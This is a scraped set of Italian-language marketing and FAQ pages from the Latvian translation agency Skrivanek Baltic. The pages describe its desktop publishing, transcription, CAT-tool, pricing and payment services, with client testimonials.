2024-02-13 - Modified: 2024-02-13 - URL: https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/ TECNOLOGIE E FORMATI Ci occupiamo del vostro progetto utilizzando i seguenti editor di testo e software di progettazione grafica MS Word Documenti PDF Illustrator MS Excel Corel Visio MS PowerPoint QuarkXPress Photoshop Adobe PageMaker InterLeaf Lotus WordPro Adobe FrameMaker MS Project InDesign IL NOSTRO TEAM E LA NOSTRA ESPERIENZA Gli specialisti del nostro team non si occupano soltanto della grafica del vostro testo, ma anche di foto, immagini, tabelle, ecc. , così da far corrispondere la traduzione all’originale. Garantiamo anche una completa elaborazione del testo prima della stampa. Nella nostra azienda lavorano project manager, tecnici, ingegneri del software, esaminatori, linguisti specializzati e traduttori qualificati con esperienza, la cui madrelingua è quella della nazione per la quale è stato creato il prodotto. SERVIZI COMPLETI Siamo ad esempio in grado di offrire la traduzione di un manuale utente seguendo l’originale per filo e per segno, comprese le illustrazioni, le tabelle e le appendici; possiamo produrla anche in altri formati file. Siamo in grado di evadere gli ordini su piattaforme PC e Macintosh. FREQUENTLY ASKED QUESTIONS Forniamo una grande varietà di servizi linguistici: servizi di traduzione e di interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Se possibile, lavoriamo sempre elettronicamente con i documenti originali e non apportiamo alcuna modifica a stile o formattazione. Se necessario, grazie all’aiuto del nostro team di desktop publishing (DTP), possiamo garantire che la traduzione del documento del cliente abbia lo stesso aspetto dell’originale o che venga formattato secondo le istruzioni del cliente. Può essere in qualsiasi formato elettronico – siamo in grado di gestire un gran numero di formati. Se il vostro documento non è disponibile in formato elettronico, inviateci una foto. AVETE BISOGNO DI UN SERVIZIO COMPLETO O DI UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Skrivanek offre servizi professionali di trascrizione e traslitterazione, convertendo il testo parlato da registrazioni audio/video in testo scritto in +110 lingue. - Published: 2024-02-13 - Modified: 2024-08-22 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ CHE COS'È LA TRASCRIZIONE/TRANSLITTERAZIONE? La trascrizione professionale di registrazioni audio e/o video è l’accurata riproduzione del testo (orale) ascoltato in una registrazione in un file scritto. Spesso, per massimizzare l’efficienza, può essere utilizzata un’avanzata tecnologia di riconoscimento vocale che permette di velocizzare, se necessario, il processo di trascrizione, anche se nella registrazione stanno parlando in più di uno. Questa trascrizione automatica è la scelta più adeguata nel caso in cui l’audio sia di buonissima qualità e di facile comprensione. Tuttavia, noi effettuiamo principalmente trascrizioni manuali. Questo comporta un lavoro più lungo e complicato, ma ne assicura la qualità. A lavoro finito riceverete il file del testo trascritto pronto ad essere utilizzato per diversi scopi. PERCHÉ AFFIDARSI A SKRIVANEK? Siamo un’azienda professionale che si occupa della fornitura di servizi linguistici conosciuta per il nostro eccellente servizio clienti e per l’ampia gamma di servizi linguistici che offriamo. La nostra priorità è quella di fornire traduzioni di testi e trascrizioni professionali del vostro materiale audio o video in più di 110 lingue. I nostri clienti si affidano a noi perché: Lavoriamo con oltre 100 formati di file: Lavoriamo con tutti i formati di file audio e video (come sbv, avi, mpg, mp4, wmv, mp3, wav, wma e altri), quindi se avete bisogno di una trascrizione audio o video, siamo qui per aiutarvi! Forniamo i servizi online: È possibile richiedere la trascrizione di un file audio/audiovisivo dal comfort della propria abitazione. Accettiamo e consegniamo il lavoro finale completamente online, via email o mediante qualsiasi altro mezzo per lo scambio di dati online all’interno del cloud, così da garantire la massima sicurezza dei propri dati. Un portale clienti di facile utilizzo: Con il nostro portale clienti facile da utilizzare è possibile tenere tutto sotto controllo e verificare lo stato dell’ordine in un unico posto. Servizio eccellente garantito: La qualità del nostro lavoro è certificata da numerosi certificati dell'Organizzazione Internazionale per la Standardizzazione (ISO) e da un rigoroso Codice di Condotta. Se volete un servizio di trascrizione di qualità, siete nel posto giusto! CERCATE SERVIZI DI TRANSCRIZIONE/TRANSLITTERAZIONE? CONTATTATECI! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia TIPI DI SERVIZI DI TRASCRIZIONE I servizi di trascrizione sono fondamentalmente due: Trascrizione editata: il testo orale della registrazione non è soltanto trascritto, ma è anche editato: sono omesse le pause fatte dall’oratore, nonché i suoni non necessari prodotti solo per riempire le pause, come i vari “uhh”, “ummm”, “allora” e le parole lasciate a metà. Non sono trascritti neanche i rumori di fondo, mentre sono corretti gli errori di intonazione (come ad esempio il corretto uso del macron in lettone) che si sentono spesso nei programmi TV, nelle conferenze, nei dibatti pubblici, nelle lezioni online, ecc. Consigliamo questo servizio nel caso in cui il materiale da trascrivere abbia scopo formativo o sia finalizzato ad attività di marketing. Trascrizione completa: il testo orale della registrazione è trascritto nella sua interezza, riportando anche i suoni non necessari, gli errori e le interazioni. Questo tipo di trascrizione è necessaria quando il file trascritto e il testo scritto devono essere utilizzati come prova in tribunale o in una disputa legale. QUANDO È CHE SONO NECESSARI I SERVIZI DI TRASCRIZIONE? Se le trascrizioni sono necessarie: Come prova nelle udienze in tribunale o per la polizia. Possiamo anche fornire la trascrizione in forma di documento stampato, il quale verrà poi certificata mediante firma o firma elettronica dall’individuo che si è occupato della trascrizione o da un interprete; Per trascrivere ciò che viene detto nelle interviste; Per trascrivere ciò che viene detto in conferenze, lezioni e seminari online, ma anche per la creazione di sottotitoli; Per attività di marketing e di pubbliche relazioni su internet, come ad esempio per un canale YouTube, in modo da migliorare la sua posizione tra le ricerche google. Per trascrivere e sottotitolare serie TV, programmi televisivi, film, programmi radio, ecc. I servizi di trascrizione sono molto utilizzati dai creatori di contenuti, dai giornalisti, dai ricercatori, da chi si occupa di marketing e perfino da studenti. QUANTO COSTANO I SERVIZI DI TRASCRIZIONE? Per calcolare il prezzo dei servizi di trascrizione è necessario eseguire un’analisi del materiale audio e/o video in questione, durante la quale i nostri project manager valutano: Il termine di consegna del lavoro; La qualità del file audio e/o video; I requisiti che il testo deve soddisfare in termini di dimensioni, come ad esempio il limite di caratteri; Le caratteristiche della/e lingua/e in cui è la registrazione; Altre richieste, come ad esempio la correzione di bozze della trascrizione, l’identificazione dell’oratore, il time-coding, ecc. Di una cosa potete essere certi: siamo onesti con i nostri clienti e non inizieremo mai un progetto senza prima esserci accordati sui suoi costi e sui termini di consegna. PERCHÉ AFFIDARSI A SERVIZI DI TRASCRIZIONE DI ALTA QUALITÀ PUÒ ESSERE SOLO CHE POSITIVO PER LA VOSTRA AZIENDA? Per lavoro è spesso necessario analizzare un gran volume di registrazioni audio e/o video. In questo mare di informazioni può essere davvero difficile trovare la parte che ci interessa di, ad esempio, una lezione online o di un’intervista. Ma con del materiale trascritto basterà utilizzare la funzione “cerca” in un editor di testo per trovare la parola chiave di cui avete bisogno. Questa ricerca richiederebbe molto tempo se fosse svolta manualmente in un file audio o video. Le registrazioni trascritte facilitano l'archiviazione di discorsi o la ricerca di informazioni negli archivi audio e/o video. Pensate a quando eravate studenti: chi avrebbe frequentato ore e ore di lezioni se fosse stato possibile leggerle? I servizi di trascrizione sono anche costantemente usati dai giornalisti per sottotitolare le interviste: la trascrizione automatica di interviste già registrate non fa solo risparmiare tempo, ma è anche molto importante per garantire un lavoro di qualità. Le tipologie di registrazioni audio e/video più comuni che Skrivanek riceve giornalmente sono: Registrazioni di interviste; Messaggi vocali; Registrazioni online di corsi di formazione, lezioni, presentazioni svolte in occasione di conferenze, tavole rotonde e riunioni di lavoro; podcast, film e serie TV, ecc. SERVIZI DI TRASCRIZIONE A FINI GIUDIZIARI Nelle corti sia lettoni che europee, è sempre più richiesto l’uso, in qualità di prova, di registrazioni di conversazioni o eventi. In particolare, esse sono utilizzate in occasione di cause penali e cause civili in dispute familiari riguardanti la divisione delle proprietà, il mantenimento o la patria potestà. Come è noto, ogni registrazione audio e/o video utilizzata come prova in una causa deve essere presentata in forma di documento scritto. Questo vuol dire che ciò che è ascoltato nella registrazione audio e/o video deve essere in forma di testo, il quale è solitamente firmato da chi si è occupato della trascrizione. Tale trascrizione completa necessita di speciale attenzione, dato che riporta ogni suono presente nella registrazione, come anche l’intonazione e l’espressione delle emozioni dell’oratore, le quali potrebbero avere un ruolo decisivo nella disputa. Inoltre, nella trascrizione devono essere indicati i time code ed essere identificati gli oratori. TRASCRIZIONE DI REGISTRAZIONI IN LINGUA STRANIERA Data la natura internazionale e multiculturale del mondo degli affari e di quello scientifico, la maggior parte degli incontri e delle conferenze al giorno d’oggi avviene in una lingua straniera. Le aziende quindi, per far sì che essi possano essere visti e compresi da un pubblico il più vasto possibile, si preoccupano di fornire ai loro impiegati delle registrazioni video in inglese. Gli scienziati utilizzano i servizi di trascrizione per preparare richieste di sovvenzioni o per svolgere ricerca scientifica che comporta l’utilizzo di registrazioni audio e/o video, dato che il materiale di ricerca deve essere facile da analizzare e processare. Naturalmente, questo richiede un’attenta selezione del partner commerciale e un’accurata ricerca di mercato. Lavorare con registrazioni in lingua straniera è decisamente più complesso rispetto a lavorare con registrazioni in lettone. Di fatti, al lavoro del trascrittore, che egli svolge con la massima precisione, segue la verifica di un individuo fluente nella lingua di partenza. Inoltre, la trascrizione viene a volte anche integrata con spiegazioni o traduzioni in lettone. PERCHÉ LA TRASCRIZIONE DOVREBBE ESSERE EFFETTUATA DA PROFESSIONISTI? Nella nostra agenzia, le trascrizioni di registrazioni audio e/o video vengono fornite solo da professionisti. Essi si occupano giornalmente di trascrizioni, garantendo quindi dei lavori precisi e in linea con lo scopo e le caratteristiche previste. Questo è particolarmente importante, soprattutto nel caso in cui la trascrizione debba essere presentata in tribunale. Queste caratteristiche sono particolarmente salienti anche nel caso in cui la trascrizione sia utilizzata per fini di marketing o per fini commerciali. Tuttavia le registrazioni audio e/o video contengono spesso inutili ripetizioni, riformulazioni, parole superflue, imprecazioni, pause, le quali dovrebbero (nella maggior parte dei casi! ) essere escluse dalla trascrizione. Una trascrizione professionale non si limita solamente a riportare in forma scritta ogni suono presente in una registrazione, ma include tutta una serie di altri servizi che richiedono esperienza e abilità aggiuntive. Noi siamo specializzati in servizi di trascrizione. Quando vi affidate a noi per un servizio di trascrizione, potete stare certi di: Ricevere trascrizioni di alta qualità, svolte grazie ad eccellenti competenze linguistiche, alla più moderna tecnologia di riconoscimento vocale e ad ottime condizioni di lavoro, caratteristiche fondamentali per il lavoro di un trascrittore; Accuratezza linguistica, precisione ed attenzione al dettaglio, così che anche il cliente più esigente possa apprezzare il testo; Risparmiare tempo ed energia: quello del trascrittore è un lavoro molto stancante, dato che trascrivere ed ascoltare ripetutamente la stessa parola non è semplice. I trascrittori di Skrivanek vi aiuteranno con piacere con l’editing e la correzione di bozze del testo trascritto; Poter ricevere il file nel formato desiderato. Nella maggior parte dei casi, i sottotitoli sono richiesti in formato . srt. Possiamo occuparci anche di questo. SVANTAGGI DEGLI STRUMENTI DI TRASCRIZIONE ONLINE GRATUITI Sono molti gli strumenti di trascrizione disponibili su internet gratuitamente. Essi creeranno sì un file di testo al posto vostro, ma è necessario tenere a mente che l’intelligenza artificiale è un software prodotto dall’uomo e non può quindi modificare il testo, comprendere il contesto, decifrare le emozioni e identificare il sottotesto. Pertanto, gli strumenti di trascrizione gratuiti non sono adatti per produrre trascrizioni di conversazioni che devono poi essere utilizzate in tribunale, ma neanche per trascrivere film, serie TV o corsi di formazione online. Tuttavia, essi possono essere molto utili se lo scopo è solo quello di capire cosa viene detto in una registrazione audio e/o video. Un’altra cosa da considerare, è che le registrazioni che sono state convertite in testo utilizzando un software devono essere sempre controllate da un professionista, il quale farà le correzioni necessarie. È infatti raro che qualcuno parli in modo lento, chiaro e fluente e, di conseguenza, un computer può spesso perdere il filo del discorso; in fondo è solo un computer! Oltre al numero limitato di funzioni che gli strumenti di trascrizione gratuiti offrono, vale la pena menzionare anche altri problemi che un trascrittore professionista risolverà meglio di un computer: Modo di parlare inusuale o caratterizzato da un accento particolare, comprese le parlate insolitamente veloci - Alcuni strumenti offrono la possibilità di lavorare con molte lingue diverse, ma ciò potrebbe non essere abbastanza nel caso in cui nella registrazione audio e/o video siano presenti regionalismi, si parli in dialetto, vengano utilizzate parole dialettali o siano presenti degli arcaismi; La qualità del suono della registrazione - Qualsiasi suono e rumore di sottofondo che non è il testo da trascrivere rappresenta una difficoltà per un software di trascrizione, dato che essi rendono più difficile per il software riconoscere le parole correttamente Vocabolario limitato, soprattutto per quanto riguarda l'uso di nomi propri, modi di dire, espressioni; Formattazione - uno strumento per la trascrizione automatica è solamente in grado di riprodurre in forma scritta le registrazioni audio e/o video, tuttavia senza considerare la punteggiatura, la sintassi o la stilistica. A trascrizione ultimata, fare tali modifiche è molto difficile e porta via parecchio tempo. È proprio per questo che un trascrittore professionista si occupa di questi aspetti durante la trascrizione. --- > Gli strumenti di traduzione (CAT) sono software speciali per traduttori progettati per aumentare la qualità e la produttività. Scoprite i loro vantaggi! - Published: 2024-02-13 - Modified: 2024-06-03 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-riki/ COSA SONO LE MEMORIE DI TRADUZIONE (TRADUZIONE ASSISTITA O CAT)? Nonostante i computer stiano diventando sempre più potenti, ancora non sono in grado di competere con gli umani nell’ambito della traduzione. Tuttavia, gli ultimi decenni sono stati caratterizzati dalla produzione di “strumenti di traduzioni assistita dal computer” sempre più funzionali (in inglese computer-aided translation tools o semplicemente CAT tools), detti anche “programmi di traduzione intelligenti”. Questi programmi non sono stati creati per rimpiazzare i traduttori, bensì per essere uno strumento che possa aiutarli a migliorare la velocità e la qualità del procedimento traduttivo in generale. Al giorno d’oggi, è abbastanza comune per i traduttori aver bisogno di lavorare con le memorie di traduzione e lo è ancora di più per le agenzie di traduzione. Questi strumenti aiutano a fornire un lavoro migliore, svolto in tempi minori e con più precisione. Ma è importante tenere a mente che i programmi di CAT non sono programmi di traduzione automatica, ma degli strumenti in mano a traduttori, revisori e correttori di bozze qualificati che li assistono nel loro lavoro giornaliero. Gli strumenti di CAT possono essere utilizzati per la maggior parte dei progetti di traduzione. Memorie di traduzione: aiutano a mettere insieme una terminologia precisa e che sia approvata dal cliente, ma anche concetti aziendali specifici per ogni singolo cliente o progetto; garantiscono la creazione di liste di ripetizioni, così da fornire ai clienti traduzioni di qualità sempre maggiore; riducono le tempistiche del processo traduttivo e i costi sostenuti. Tuttavia, ci sono casi in cui gli strumenti CAT non funzionano. Ad esempio: se il testo è scritto a mano; se la memoria di traduzione non è in grado di connettersi con il file di testo fornito dal cliente; se il documento da tradurre è difficile da leggere o addirittura illeggibile (come possono essere file PDF scannerizzati). Quando si utilizzano gli strumenti di CAT, i costi di traduzione vengono calcolati sulla base di un'analisi del documento. Essa identifica le parti di testo che si ripetono, come anche quelle parti che corrispondono parzialmente o completamente ai dati presenti all’interno della memoria di traduzione. Tali corrispondenze sono quindi calcolate a livello di frase e non di parola. Ciò significa che tutto il documento è analizzato frase per frase e poi comparato alle altre frasi presenti nel documento, come anche a quelle archiviate nella memoria di traduzione. Le ripetizioni sono frasi che, all’interno di un singolo documento, occorrono più di una volta. Una volta che la frase è stata tradotta, non è necessario tradurla di nuovo. Questo tipo di frasi ripetute si trovano spesso in manuali, relazioni annuali, contratti, foglietti illustrativi di farmaci, ma anche in altri testi standard di questo tipo. Le ripetizioni vengono analizzate anche in base alla compatibilità. Ad esempio, se dovete tradurre il foglietto illustrativo di un farmaco, lo strumento di CAT vi proporrà le soluzioni che avete già adottato per frasi che avete già tradotto e che si ripetono nel testo. Esse quindi non dovranno essere tradotte nuovamente, ma verranno proposte traduzioni sulla base dei dati già esistenti (e approvati dal cliente) all’interno della memoria di traduzione. In questo modo i documenti verranno tradotti più velocemente, con più coerenza, riducendo allo stesso tempo i costi. Le memorie di traduzione sono degli strumenti funzionali per tradurre testi standard di carattere legale ed economico (relazioni annuali), come anche testi tecnici (relazioni tecniche, istruzioni, manuali utente) e foglietti illustrativi di farmaci. Gli strumenti CAT sono efficaci anche quando si tratta di tradurre testi per i siti web poiché essi utilizzano i formati XML, HTML e altri formati per le piattaforme online. Ma le memorie di traduzione possono semplificare il lavoro anche quando si lavora con testi di tanti altri settori, specialmente se il cliente sa che tale terminologia o una terminologia simile verrà utilizzata anche in futuro. I programmi di traduzione automatica sono stati sviluppati per massimizzare la velocità con cui il significato di una parola, frase o locuzione viene compreso. A questo fine è necessario inserire il testo nella schermata del programma. I programmi di traduzione automatica più conosciuti (detti anche software di traduzione automatica) sono: Pragma, Promt e Google traduttore. Essendo il linguaggio qualcosa di estremamente specifico, nonché una forma di comunicazione propria dell’uomo, è molto raro che i programmi di traduzione automatica siano in grado di fornire traduzioni adeguate. Per questa ragione i traduttori professionisti e le aziende che forniscono servizi linguistici non utilizzano tali software. QUALI SONO I PROGRAMMI DI CAT PIÙ DIFFUSI? Attualmente, a livello globale i più diffusi sono: Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; MemoQ; Crowdin; ecc. SIETE ALLA RICERCA DI UN SERVIZIO LINGUISTICO O DI UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ million Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Inviateci i vostri documenti e vi forniremo un preventivo sul prezzo del servizio prima di iniziare la traduzione. - Published: 2024-02-13 - Modified: 2024-02-13 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/ Nella nostra azienda i prezzi delle traduzioni sono calcolati sulla base del numero di parole del testo di partenza (cioè l’originale). Stabiliamo il prezzo del progetto in anticipo, come anche concordiamo con il cliente un termine di consegna della traduzione adeguato per entrambi. Per le combinazioni linguistiche più diffuse (lettone, russo, tedesco e inglese), nel prezzo dei servizi di traduzione scritta è già inclusa la revisione da parte di un madrelingua. Il prezzo della traduzione scritta e del servizio di interpretazione è influenzato dal termine per l'esecuzione dell’ordine. Nel caso di ordini urgenti, bisogna tenere conto che il costo di esecuzione del progetto sarà più elevato; in questo caso verrete immediatamente informati di ciò dal project manager. Il prezzo delle traduzioni scritte e dei servizi di interpretazione non è influenzato dalle specificità o dalla complessità del settore! Ascolteremo con piacere i vostri bisogni: una volta ricevuta la vostra richiesta, calcoleremo subito il prezzo per l’esecuzione del progetto e ve lo manderemo assieme al termine di consegna. Per le aziende che si affidano a noi per i servizi di traduzione offriamo un 5% di sconto per la formazione linguistica dei loro dipendenti! I nostri project manager vi informeranno sulla possibilità di usufruire di altri sconti, come anche di stipulare un accordo di riservatezza o un accordo di cooperazione. CALCOLO DEL PREZZO Il prezzo del servizio di traduzione scritta si base sul numero di parole del testo di partenza. Il numero esatto di parole può essere determinato utilizzando il Conteggio parole (Strumenti / Conteggio parole / Parole ) per i documenti disponibili in formato elettronico. Con la seguente formula viene calcolato il prezzo per le traduzioni scritte: tariffa per parola della traduzione x il numero di parole nel testo di partenza = costo dell’ordine (IVA esclusa) Tuttavia tale formula non si applica alle traduzioni che devono essere certificate da un notaio. PROCEDURA DI PAGAMENTO Offriamo alle entità giuridiche la possibilità di stipulare un accordo di cooperazione con il quale offriamo le seguenti modalità di pagamento: quando si effettua un ordine presso la nostra azienda per la prima volta, il cliente riceve l'ordine solo dopo il pagamento della fattura; Pagamento differito con presentazione di fattura dopo ogni progetto (opzione consigliata quando si tratta di progetti di grandi dimensioni); Pagamento differito con presentazione di fattura relativa ad un periodo di tempo (opzione consigliata per i clienti che richiedono molti piccoli ordini); Pagamento differito con presentazione di fattura una volta al mese. Offriamo alle aziende nostre clienti e alle persone fisiche la possibilità di pagare gli scontrini con carta o in contanti presso la nostra agenzia, con PayPal o tramite bonifico. HA BISOGNO DI UNA TRADUZIONE? Invia una richiesta O CHIAMA (+371) 67 240 364 Prepareremo un offerta di prezzo in breve e vi forniremo una consulenza. La ricezione di un preventivo gratuito non comporta alcun obbligo di collaborazione. AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Domande e risposte sul fornitore di servizi linguistici Skrivanek Baltic. Non avete trovato una risposta alla vostra domanda? Contattateci! - Published: 2024-02-12 - Modified: 2024-08-22 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ Skrivanek Baltic è un’agenzia di traduzione certificata che opera e fornisce servizi linguistici in Lettonia dal 2003. Skrivanek è uno dei principali fornitori di servizi linguistici al mondo e vanta più di 25 anni di esperienza. Attualmente abbiamo quasi 50 filiali in vari paesi: Stati Uniti, Austria, Belgio, Bulgaria, Repubblica Ceca, Estonia, Lituania, Polonia, Slovacchia, Slovenia e Germania. La Scuola di lingue di Skrivanek Baltic è stata inaugurata nel 2007 e offre ad adulti e bambini la possibilità di imparare una nuova lingua, come anche informazioni dettagliate ad essa relative, grazie all’aiuto di insegnanti esperti e altamente qualificati. I prezzi dei servizi di traduzione sono calcolati considerando il numero di parole del documento da tradurre, la combinazione linguistica e altri elementi. Inviateci i vostri documenti e, prima di iniziare la traduzione, vi invieremo il preventivo con il prezzo del servizio. La ricezione di un preventivo gratuito non comporta alcun obbligo di collaborazione. Sì, tutti i prezzi per le persone fisiche sono comprensivi di IVA. Per le aziende i prezzi sono invece indicati al netto dell'IVA. Infatti, in conformità alla normativa UE, non applichiamo l’IVA sui servizi forniti ad aziende con partita IVA in altri paesi membri; in base alla normativa sull'inversione contabile, l'onere fiscale si trasferisce al destinatario dei servizi. Se il documento è in Microsoft Word, basta utilizzare la funzione Conteggio parole (Revisione→Conteggio parole). Se il vostro documento è invece in un altro formato (stampa, JPG, HTML, PHP, ASP, ecc. ), inviatelo al nostro indirizzo e-mail e vi forniremo un preventivo gratuito. Concorderemo la scadenza prima di iniziare l'ordine. In genere, per tradurre fino a 500 parole è necessario un giorno lavorativo, mentre dalle 1000 in su sarà necessario almeno un giorno lavorativo e mezzo. In casi eccezionali, eseguiamo anche traduzioni urgenti. Può essere in qualsiasi formato elettronico - siamo in grado di gestire un gran numero di formati. Se il vostro documento non è disponibile in formato elettronico, inviateci una foto. Possiamo tradurre qualsiasi tipo di testo in virtualmente qualsiasi formato elettronico, mantenendo sempre la formattazione del documento originale. Nel caso dei servizi di localizzazione, ci atteniamo alle istruzioni specifiche fornite dal cliente o alle impostazioni dettate dal software. Non vediamo l’ora! Qui a Skrivanek siamo altamente competenti ed esperti nella traduzione e localizzazione di diverse tipologie di siti web e di sistemi di gestione dei contenuti. Garantiamo sempre un approccio professionale e troviamo la soluzione più adatta alla vostra situazione specifica, così da garantire i migliori risultati per ogni combinazione linguistica. Nonostante la maggior parte dei nostri clienti siano persone legali, aiutiamo con piacere anche i privati, i quali solitamente ci richiedono traduzioni certificate da un notaio. Sono molto popolari anche i campi studio per bambini e i corsi di lingua. Sono entrambi linguisti specializzati ma, mentre i traduttori forniscono traduzioni scritte, gli interpreti forniscono traduzioni orali consecutive o simultanee. Se possibile, lavoriamo sempre elettronicamente con i documenti originali e non apportiamo alcuna modifica a stile o formattazione. Se necessario, grazie all’aiuto del nostro team di desktop publishing (DTP), possiamo garantire che la traduzione del documento del cliente abbia lo stesso aspetto dell’originale o che venga formattato secondo le istruzioni del cliente. Siamo certificati ISO 9001, EN 17100, EN ISO 14001, EN ISO 18585 e ISO 27001. Diamo estrema importanza alla privacy dei nostri clienti, ci assumiamo la responsabilità di tutto ciò che facciamo e siamo sempre puntuali! La norma EN 17100 specifica i requisiti di tutti quegli aspetti del processo id traduzione che influenzano in maniera diretta la qualità e la fornitura dei servizi di traduzione. Inoltre, affinché i nostri clienti possano stare tranquilli, abbiamo stipulato un accordo di responsabilità professionale con la compagnia assicurativa internazionale Colonnade Insurance S. A. Forniamo anche traduzioni con certificazione notarile o le certifichiamo noi stessi. No, sono i project manager che accettano e supervisionano gli ordini; essi fanno anche da tramite tra il cliente finale e il traduttore. I traduttori e gli interpreti di Skrivanek Baltic possono fornire servizi in più di 110 lingue. Forniamo una grande varietà di servizi linguistici: servizi di traduzione e di interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Sì, spesso creiamo anche dei team di linguisti specializzati per ogni partner con cui cooperiamo, il che significa che i servizi saranno forniti dagli stessi interpreti o traduttori che se ne sono occupati in precedenza. Accogliamo i vostri feedback e impieghiamo con piacere gli stessi linguisti specializzati. Anche i nostri clienti abituali si interfacciano sempre con lo stesso project manager. Dipende da ogni singolo caso e dalle vostre esigenze. Siete voi a decidere per quanto tempo avete bisogno di un interprete. Nel caso di testi di marketing o testi pubblicitari, una normale traduzione non è abbastanza: il più delle volte il testo deve essere localizzato e idiomi e altre espressioni devono essere cambiati per garantire che il significato possa essere capito al volo dagli utenti nella lingua di arrivo. Questo avviene quando i testi sono adattati in modo da essere pienamente conformi ai requisiti del pubblico della lingua di arrivo. Gli strumenti di traduzione assistita (CAT) sono programmi il cui scopo è quello di facilitare il processo di traduzione. Non si tratta di strumenti che si basano sulla traduzione computerizzata o automatizzata, ma di strumenti che permettono, tra gli altri, di svolgere le traduzioni più velocemente, di garantire un uso consistente della terminologia e di ridurre i costi del processo traduttivo. Questi strumenti permettono anche di salvare tutti i testi tradotti, il che vuol dire che basterà tradurre frasi identiche una volta sola. Essi sono particolarmente utili quando i testi da tradurre sono di carattere finanziario e tecnico, oltre che descrizioni di medicinali, siti web e software. NON HAI TROVATO CIÒ CHE CERCAVI? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere 